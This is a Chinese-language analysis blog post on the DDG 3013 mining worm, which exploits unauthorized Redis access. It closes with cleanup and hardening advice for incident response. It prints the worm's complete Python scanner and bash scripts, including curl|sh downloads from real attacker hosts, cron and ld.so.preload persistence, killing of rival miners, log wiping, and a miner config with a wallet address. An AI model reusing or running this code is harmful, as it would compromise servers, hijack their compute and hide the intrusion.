DDG 3013 变种: 基于 Redis 未授权访问的挖矿蠕虫简要分析
前言
受限于缺乏针对 elf 文件的分析能力，对一些逻辑的跟踪仍有一定猜测成分，仅供参考。
Contents
正文
事情的起因
阿里云主机提供了一些恶意命令执行告警，定位到如下命令
# 告警1
python -c import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L25ZQnB1QXhUJwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz'))
# 告警2
/bin/sh -c /bin/chmod 755 /usr/bin/curl && /usr/bin/curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh
尝试跟踪 告警1 和 告警2 的代码，涉及大量中间文件(不过很多都只是base64一下)，进行一些简单的梳理后，发现比较重要的三个文件。
1 https://pastebin.com/raw/nYBpuAxT (基于 Python 的扩散对 Redis 未授权访问的利用)
2 https://pastebin.com/raw/Gw7mywhC (在 Linux 中添加各种 crontab, 劫持so, 尽可能保证持久驻留)
3 i.sh, (下发 ELF 挖矿文件)
nYBpuAxT
蠕虫式传播, 最大线程数为 20 线程
获取当前主机 IP, 据此构造出相关 B段 的IP 列表。
并扫描当前主机 (略大于)B段 (涉及 IP 数量是 655360 ) 的其他主机的 6379 端口。
关键攻击载荷
使用 Redis 的备份配置文件命令，将相关内容写入 /var/spool/cron/root 文件中。
借此使用计划任务执行命令, 其中 */1 * * * * 指的是每分钟执行一次相关命令
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
s.connect((self.host, 6379))
s.send('set backup1 "\\n\\n\\n*/1 * * * * curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh\\n\\n\\n"\r\n')
s.send('set backup2 "\\n\\n\\n*/1 * * * * wget -q -O- https://pastebin.com/raw/xbY7p5Tb|sh\\n\\n\\n"\r\n')
s.send('config set dir /var/spool/cron\r\n')
s.send('config set dbfilename root\r\n')
s.send('save\r\n')
s.close()
原始完整文件 https://pastebin.com/raw/nYBpuAxT
#! /usr/bin/env python
#coding: utf-8
import threading
import socket
from re import findall
import httplib
IP_LIST = []
class scanner(threading.Thread):
tlist = []
maxthreads = 20
evnt = threading.Event()
lck = threading.Lock()
def __init__(self,host):
threading.Thread.__init__(self)
self.host = host
def run(self):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
s.connect((self.host, 6379))
s.send('set backup1 "\\n\\n\\n*/1 * * * * curl -fsSL https://pastebin.com/raw/xbY7p5Tb|sh\\n\\n\\n"\r\n')
s.send('set backup2 "\\n\\n\\n*/1 * * * * wget -q -O- https://pastebin.com/raw/xbY7p5Tb|sh\\n\\n\\n"\r\n')
s.send('config set dir /var/spool/cron\r\n')
s.send('config set dbfilename root\r\n')
s.send('save\r\n')
s.close()
except Exception as e:
pass
scanner.lck.acquire()
scanner.tlist.remove(self)
if len(scanner.tlist) < scanner.maxthreads:
scanner.evnt.set()
scanner.evnt.clear()
scanner.lck.release()
def newthread(host):
scanner.lck.acquire()
sc = scanner(host)
scanner.tlist.append(sc)
scanner.lck.release()
sc.start()
newthread = staticmethod(newthread)
def get_ip_list():
try:
url = 'ident.me'
conn = httplib.HTTPConnection(url, port=80, timeout=10)
req = conn.request(method='GET', url='/', )
result = conn.getresponse()
ip2 = result.read()
ips2 = findall(r'\d+.\d+.', ip2)[0][:-2]
for u in range(0, 10):
ip_list1 = (ips2 + (str(u)) +'.')
for i in range(0, 256):
ip_list2 = (ip_list1 + (str(i)))
for g in range(0, 256):
IP_LIST.append(ip_list2 + '.' + (str(g)))
except Exception:
pass
def runPortscan():
get_ip_list()
for host in IP_LIST:
scanner.lck.acquire()
if len(scanner.tlist) >= scanner.maxthreads:
scanner.lck.release()
scanner.evnt.wait()
else:
scanner.lck.release()
scanner.newthread(host)
for t in scanner.tlist:
t.join()
if __name__ == "__main__":
runPortscan()
Gw7mywhC
核心流程如下
update=$( curl -fsSL --connect-timeout 120 https://pastebin.com/raw/TzBeq3AM )
if [ ${update}x = "update"x ];then
echocron
else
if [ ! -f "/tmp/.tmph" ]; then
rm -rf /tmp/.tmpg
python
fi
kills
downloadrun
echocron
system
top
sleep 10
port=$(netstat -anp | grep :13531 | wc -l)
if [ ${port} -eq 0 ];then
downloadrunxm
fi
echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron
fi
首先检查格组件是是否有更新，有更新就会执行echocron替换相应的落地文件。
kills() 函数
1 杀死本木马老版本的进程
2 删除 grub deamon 和 disk_genius (也可能是伪装的其他木马)
3 杀死其他挖矿程序的进程
4 删除其他挖矿程序的文件
5 杀死启用特定疑似挖矿端口的进程
downloadrun()函数 (无ELF分析能力,半猜测)
配置挖矿木马的守护进程
echocron() 函数
写入各种 crontab 目录，便于复活。
system() 函数
下载挖矿木马关键程序并执行。
https://pastebin.com/raw/Fj2YdETv 地址内容
# https://pastebin.com/raw/Fj2YdETv
(curl -fsSL https://pastebin.com/raw/JNPewK6r || wget -q -O- https://pastebin.com/raw/JNPewK6r)|base64 -d|/bin/bash
top() 函数
以 so 文件劫持 (/etc/ld.so.preload) 的方式执行挖矿木马，是更隐蔽的执行方式。
详细资料需要参考
如果只是想要覆盖一个库文件的某些函数，但保留其余的内容，可以将覆盖库文件名（.so 后缀文件）保存至
/etc/ld.so.preload文件中。这些覆盖库文件会比标准库文件优先读取，这通常用于紧急的版本补丁。
downloadrunxm() (无ELF分析能力,半猜测)
配置矿池相关的配置文件 /bin/config.json
配置挖矿木马的守护进程
原始完整文件 https://pastebin.com/raw/Gw7mywhC
#!/bin/bash
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
function kills() {
pkill -f sourplum
pkill wnTKYg && pkill ddg* && rm -rf /tmp/ddg* && rm -rf /tmp/wnTKYg
rm -rf /boot/grub/deamon && rm -rf /boot/grub/disk_genius
rm -rf /tmp/*index_bak*
rm -rf /tmp/*httpd.conf*
rm -rf /tmp/*httpd.conf
rm -rf /tmp/a7b104c270
ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:3333"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "monerohash.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/tmp/a7b104c270"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:6666"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:7777"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:443"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum.f2pool.com:8888"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrpool.eu" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrig" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrigDaemon" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmrigMiner" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/var/tmp/java" | awk '{print $2}'|xargs kill -9
pkill -f biosetjenkins
pkill -f AnXqV.yam
pkill -f xmrigDaemon
pkill -f xmrigMiner
pkill -f xmrig
pkill -f Loopback
pkill -f apaceha
pkill -f cryptonight
pkill -f stratum
pkill -f mixnerdx
pkill -f performedl
pkill -f JnKihGjn
pkill -f irqba2anc1
pkill -f irqba5xnc1
pkill -f irqbnc1
pkill -f ir29xc1
pkill -f conns
pkill -f irqbalance
pkill -f crypto-pool
pkill -f minexmr
pkill -f XJnRj
pkill -f NXLAi
pkill -f BI5zj
pkill -f askdljlqw
pkill -f minerd
pkill -f minergate
pkill -f Guard.sh
pkill -f ysaydh
pkill -f bonns
pkill -f donns
pkill -f kxjd
pkill -f Duck.sh
pkill -f bonn.sh
pkill -f conn.sh
pkill -f kworker34
pkill -f kw.sh
pkill -f pro.sh
pkill -f polkitd
pkill -f acpid
pkill -f icb5o
pkill -f nopxi
pkill -f irqbalanc1
pkill -f minerd
pkill -f i586
pkill -f gddr
pkill -f mstxmr
pkill -f ddg.2011
pkill -f wnTKYg
pkill -f deamon
pkill -f disk_genius
pkill -f sourplum
pkill -f bashx
pkill -f bashg
pkill -f bashe
pkill -f bashf
pkill -f bashh
pkill -f XbashY
pkill -f libapache
rm -rf /tmp/httpd.conf
rm -rf /tmp/conn
rm -rf /tmp/root.sh /tmp/pools.txt /tmp/libapache /tmp/config.json /tmp/bashf /tmp/bashg /tmp/libapache
rm -rf /tmp/conns
rm -f /tmp/irq.sh
rm -f /tmp/irqbalanc1
rm -f /tmp/irq
rm -rf /tmp/kworkerds /bin/kworkerds /bin/config.json
netstat -anp | grep 69.28.55.86:443 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep 185.71.65.238 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :3333 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :4444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :5555 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :6666 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :7777 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :3347 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
netstat -anp | grep :14444 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
y=$(netstat -anp | grep kworkerds | wc -l)
if [ ${y} -eq 0 ];then
netstat -anp | grep :13531 |awk '{print $7}'| awk -F'[/]' '{print $1}' | xargs kill -9
fi
}
function system() {
if [ ! -f "/bin/httpdns" ]; then
curl -fsSL https://pastebin.com/raw/Fj2YdETv -o /bin/httpdns && chmod 755 /bin/httpdns
if [ ! -f "/bin/httpdns" ]; then
wget https://pastebin.com/raw/Fj2YdETv -O /bin/httpdns && chmod 755 /bin/httpdns
fi
if [ ! -f "/etc/crontab" ]; then
echo -e "0 1 * * * root /bin/httpdns" >> /etc/crontab
else
sed -i '$d' /etc/crontab && echo -e "0 1 * * * root /bin/httpdns" >> /etc/crontab
fi
fi
}
function top() {
mkdir -p /usr/local/lib/
if [ ! -f "/usr/local/lib/libntp.so" ]; then
curl -fsSL http://thyrsi.com/t6/365/1535595427x-1404817712.jpg -o /usr/local/lib/libntp.so && chmod 755 /usr/local/lib/libntp.so
if [ ! -f "/usr/local/lib/libntp.so" ]; then
wget http://thyrsi.com/t6/365/1535595427x-1404817712.jpg -O /usr/local/lib/libntp.so && chmod 755 /usr/local/lib/libntp.so
fi
fi
if [ ! -f "/etc/ld.so.preload" ]; then
echo /usr/local/lib/libntp.so > /etc/ld.so.preload
else
sed -i '$d' /etc/ld.so.preload && echo /usr/local/lib/libntp.so >> /etc/ld.so.preload
fi
touch -acmr /bin/sh /etc/ld.so.preload
touch -acmr /bin/sh /usr/local/lib/libntp.so
}
function python() {
nohup python -c "import base64;exec(base64.b64decode('I2NvZGluZzogdXRmLTgKaW1wb3J0IHVybGxpYgppbXBvcnQgYmFzZTY0CgpkPSAnaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2VSa3JTUWZFJwp0cnk6CiAgICBwYWdlPWJhc2U2NC5iNjRkZWNvZGUodXJsbGliLnVybG9wZW4oZCkucmVhZCgpKQogICAgZXhlYyhwYWdlKQpleGNlcHQ6CiAgICBwYXNz'))" >/dev/null 2>&1 &
touch /tmp/.tmph
}
function echocron() {
echo -e "*/10 * * * * root (curl -fsSL https://pastebin.com/raw/5bjpjvLP || wget -q -O- https://pastebin.com/raw/5bjpjvLP)|sh\n##" > /etc/cron.d/root
echo -e "*/17 * * * * root (curl -fsSL https://pastebin.com/raw/5bjpjvLP || wget -q -O- https://pastebin.com/raw/5bjpjvLP)|sh\n##" > /etc/cron.d/system
echo -e "*/23 * * * * (curl -fsSL https://pastebin.com/raw/5bjpjvLP || wget -q -O- https://pastebin.com/raw/5bjpjvLP)|sh\n##" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo -e "*/31 * * * * (curl -fsSL https://pastebin.com/raw/5bjpjvLP || wget -q -O- https://pastebin.com/raw/5bjpjvLP)|sh\n##" > /var/spool/cron/crontabs/root
mkdir -p /etc/cron.hourly
curl -fsSL https://pastebin.com/raw/5bjpjvLP -o /etc/cron.hourly/oanacron && chmod 755 /etc/cron.hourly/oanacron
if [ ! -f "/etc/cron.hourly/oanacron" ]; then
wget https://pastebin.com/raw/5bjpjvLP -O /etc/cron.hourly/oanacron && chmod 755 /etc/cron.hourly/oanacron
fi
mkdir -p /etc/cron.daily
curl -fsSL https://pastebin.com/raw/5bjpjvLP -o /etc/cron.daily/oanacron && chmod 755 /etc/cron.daily/oanacron
if [ ! -f "/etc/cron.daily/oanacron" ]; then
wget https://pastebin.com/raw/5bjpjvLP -O /etc/cron.daily/oanacron && chmod 755 /etc/cron.daily/oanacron
fi
mkdir -p /etc/cron.monthly
curl -fsSL https://pastebin.com/raw/5bjpjvLP -o /etc/cron.monthly/oanacron && chmod 755 /etc/cron.monthly/oanacron
if [ ! -f "/etc/cron.monthly/oanacron" ]; then
wget https://pastebin.com/raw/5bjpjvLP -O /etc/cron.monthly/oanacron && chmod 755 /etc/cron.monthly/oanacron
fi
touch -acmr /bin/sh /var/spool/cron/root
touch -acmr /bin/sh /var/spool/cron/crontabs/root
touch -acmr /bin/sh /etc/cron.d/system
touch -acmr /bin/sh /etc/cron.d/root
touch -acmr /bin/sh /etc/cron.hourly/oanacron
touch -acmr /bin/sh /etc/cron.daily/oanacron
touch -acmr /bin/sh /etc/cron.monthly/oanacron
}
function downloadrun() {
ps=$(netstat -anp | grep :13531 | wc -l)
if [ ${ps} -eq 0 ];then
if [ ! -f "/tmp/kworkerds" ]; then
curl -fsSL http://thyrsi.com/t6/358/1534495127x-1404764247.jpg -o /tmp/kworkerds && chmod 777 /tmp/kworkerds
if [ ! -f "/tmp/kworkerds" ]; then
wget http://thyrsi.com/t6/358/1534495127x-1404764247.jpg -O /tmp/kworkerds && chmod 777 /tmp/kworkerds
fi
nohup /tmp/kworkerds >/dev/null 2>&1 &
else
nohup /tmp/kworkerds >/dev/null 2>&1 &
fi
fi
}
function downloadrunxm() {
pm=$(netstat -anp | grep :13531 | wc -l)
if [ ${pm} -eq 0 ];then
if [ ! -f "/bin/config.json" ]; then
curl -fsSL http://thyrsi.com/t6/358/1534496022x-1404764583.jpg -o /bin/config.json && chmod 777 /bin/config.json
if [ ! -f "/bin/config.json" ]; then
wget http://thyrsi.com/t6/358/1534496022x-1404764583.jpg -O /bin/config.json && chmod 777 /bin/config.json
fi
fi
if [ ! -f "/bin/kworkerds" ]; then
curl -fsSL http://thyrsi.com/t6/358/1534491798x-1404764420.jpg -o /bin/kworkerds && chmod 777 /bin/kworkerds
if [ ! -f "/bin/kworkerds" ]; then
wget http://thyrsi.com/t6/358/1534491798x-1404764420.jpg -O /bin/kworkerds && chmod 777 /bin/kworkerds
fi
nohup /bin/kworkerds >/dev/null 2>&1 &
else
nohup /bin/kworkerds >/dev/null 2>&1 &
fi
fi
}
update=$( curl -fsSL --connect-timeout 120 https://pastebin.com/raw/TzBeq3AM )
if [ ${update}x = "update"x ];then
echocron
else
if [ ! -f "/tmp/.tmph" ]; then
rm -rf /tmp/.tmpg
python
fi
kills
downloadrun
echocron
system
top
sleep 10
port=$(netstat -anp | grep :13531 | wc -l)
if [ ${port} -eq 0 ];then
downloadrunxm
fi
echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron
fi
#
#
#
i.sh
1 首先将自己写入 /var/spool/cron/root 和 /var/spool/cron/crontabs/root, 保证不断重复执行。
*/15 * * * *, 执行的频率是每 15 分钟一次。
2 根据系统架构，会下载对应的 ELF 挖矿木马 ddgs.x86_64 或 ddgs.i686, 重命名为 /tmp/ddgs.3013 并执行。
3 杀死其他竞争对手的进程。
原始文件 http://149.56.106.215:8000/i.sh
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
echo "" > /var/spool/cron/root
echo "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/root
echo "*/15 * * * * wget -q -O- http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/crontabs/root
echo "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
echo "*/15 * * * * wget -q -O- http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/crontabs/root
ps auxf | grep -v grep | grep /tmp/ddgs.3013 || rm -rf /tmp/ddgs.3013
if [ ! -f "/tmp/ddgs.3013" ]; then
wget -q http://149.56.106.215:8000/static/3013/ddgs.$(uname -m) -O /tmp/ddgs.3013
curl -fsSL http://149.56.106.215:8000/static/3013/ddgs.$(uname -m) -o /tmp/ddgs.3013
fi
chmod +x /tmp/ddgs.3013 && /tmp/ddgs.3013
ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill
溯源相关信息 config.json
涉及的恶意代码片段
wget http://thyrsi.com/t6/358/1534496022x-1404764583.jpg -O /bin/config.json && chmod +x /bin/config.json
config.json 内容如下
{
"algo": "cryptonight",
"api": {
"port": 0,
"access-token": null,
"worker-id": null,
"ipv6": false,
"restricted": true
},
"av": 0,
"background": false,
"colors": true,
"cpu-affinity": null,
"cpu-priority": null,
"donate-level": 0,
"huge-pages": true,
"hw-aes": null,
"log-file": null,
"max-cpu-usage": 100,
"pools": [
{
"url": "stratum+tcp://xmr.f2pool.com:13531",
"user": "47eCpELDZBiVoxDT1tBxCX7fFU4kcSTDLTW2FzYTuB1H3yzrKTtXLAVRsBWcsYpfQzfHjHKtQAJshNyTU88LwNY4Q3rHFYA.xmrig",
"pass": "x",
"rig-id": null,
"nicehash": false,
"keepalive": false,
"variant": 1
}
],
"print-time": 60,
"retries": 5,
"retry-pause": 5,
"safe": false,
"threads": null,
"user-agent": null,
"watch": false
}
总结
蠕虫特点
值得注意的蠕虫手段
1 利用 /etc/ld.so.preload 进行隐蔽感染
2 滥用合法的图片上传服务 http://thyrsi.com/t6/365/1535595427x-1404817712.jpg
3 使用 Pastebin 构建 可更新 的恶意软件家族
应急响应方面的提示
1 测试一些清理方案时，可以在 虚拟机/沙箱 中先进行尝试。
2 Redis 未授权访问漏洞存在时，攻击者还很有可能通过写 ssh登录密钥 来进行远程登陆操作。
3 此外，存在该漏洞的机器，还有很大可能性会被 删库勒索 , 可以参考阿里云的预警 – 删库跑路加勒索，Redis勒索事件爆发
清理方案
1 将 Redis 服务关闭，并设置密码。
在 redis.conf 中找到 “requirepass” 字段，在后面填上你需要的密码，Redis 客户端也需要使用此密码来访问 Redis 服务，之后重启 Redis 服务，验证密码是否生效。
注意要使用强度较高的 Redis 密码，因为该木马也有简单的爆破功能，以扩大传播范围。
2 清理定时任务 (先清理定时任务，再删除挖矿病毒本体，防止再生)
# 包括但不限于
/etc/crontab
/var/spool/cron/root
/var/spool/cron/crontabs/root
/etc/cron.d/system
/etc/cron.d/root
/etc/cron.hourly/oanacron
/etc/cron.daily/oanacron
/etc/cron.monthly/oanacron
/etc/cron.monthly/oanacron
3 删除相关动态链接库
# 包括但不限于
/etc/ld.so.preload
/etc/libjdk.so
/usr/local/lib/md.so
/usr/local/lib/screen.so
/usr/local/lib/y.so
3 结束掉挖矿和 DDG 母体相关进程
ps -ef | grep -v grep | egrep 'wnTKYg|2t3ik|qW3xT.2|ddg|kworkerds' | awk '{print $2}' | xargs kill -9
4 然后删除相应的恶意程序，主要在临时目录下。另外建议用 find/locate 再找一下如下关键字qW3xT, ddg*, wnTKYg, 2t3ik 等, 尽可能清理干净。
# 包括但不限于
/tmp/qW3xT
/tmp/ddgs.3013
/tmp/ddgs.3012
/tmp/wnTKYg
/tmp/2t3ik
/tmp/kworkerds
参考资料
1 威胁快讯：DDG 3013 版本 – 360 Netlab
http://blog.netlab.360.com/a-fast-ddg-3013-analyze/
2 DDG 挖矿最新变种分析报告 – 深信服
http://www.freebuf.com/articles/system/180385.html
3 记录阿里云服务器被minerd和kworkerds感染作祟
https://blog.csdn.net/lang363/article/details/82354830
4 记一次redis病毒分析笔记
https://www.cnblogs.com/mondol/p/9592056.html
5 阿里云 centos 服务器 长期 cpu100%，无法通过top、ps等命令找出占cpu进程？
https://www.zhihu.com/question/59820313
6 Linux 共享库指南 # 库文件是怎样被使用的
http://liaoph.com/linux-shared-libary/
7 预警| 删库跑路加勒索，Redis勒索事件爆发
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后续补充
8 事件分析 | 一起攻击者利用 Redis 未授权访问漏洞进行新型入侵挖矿事件 – 腾讯 云鼎实验室
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9 Xbash勒索挖矿样本分析 – 深信服 北京 千里目安全实验室
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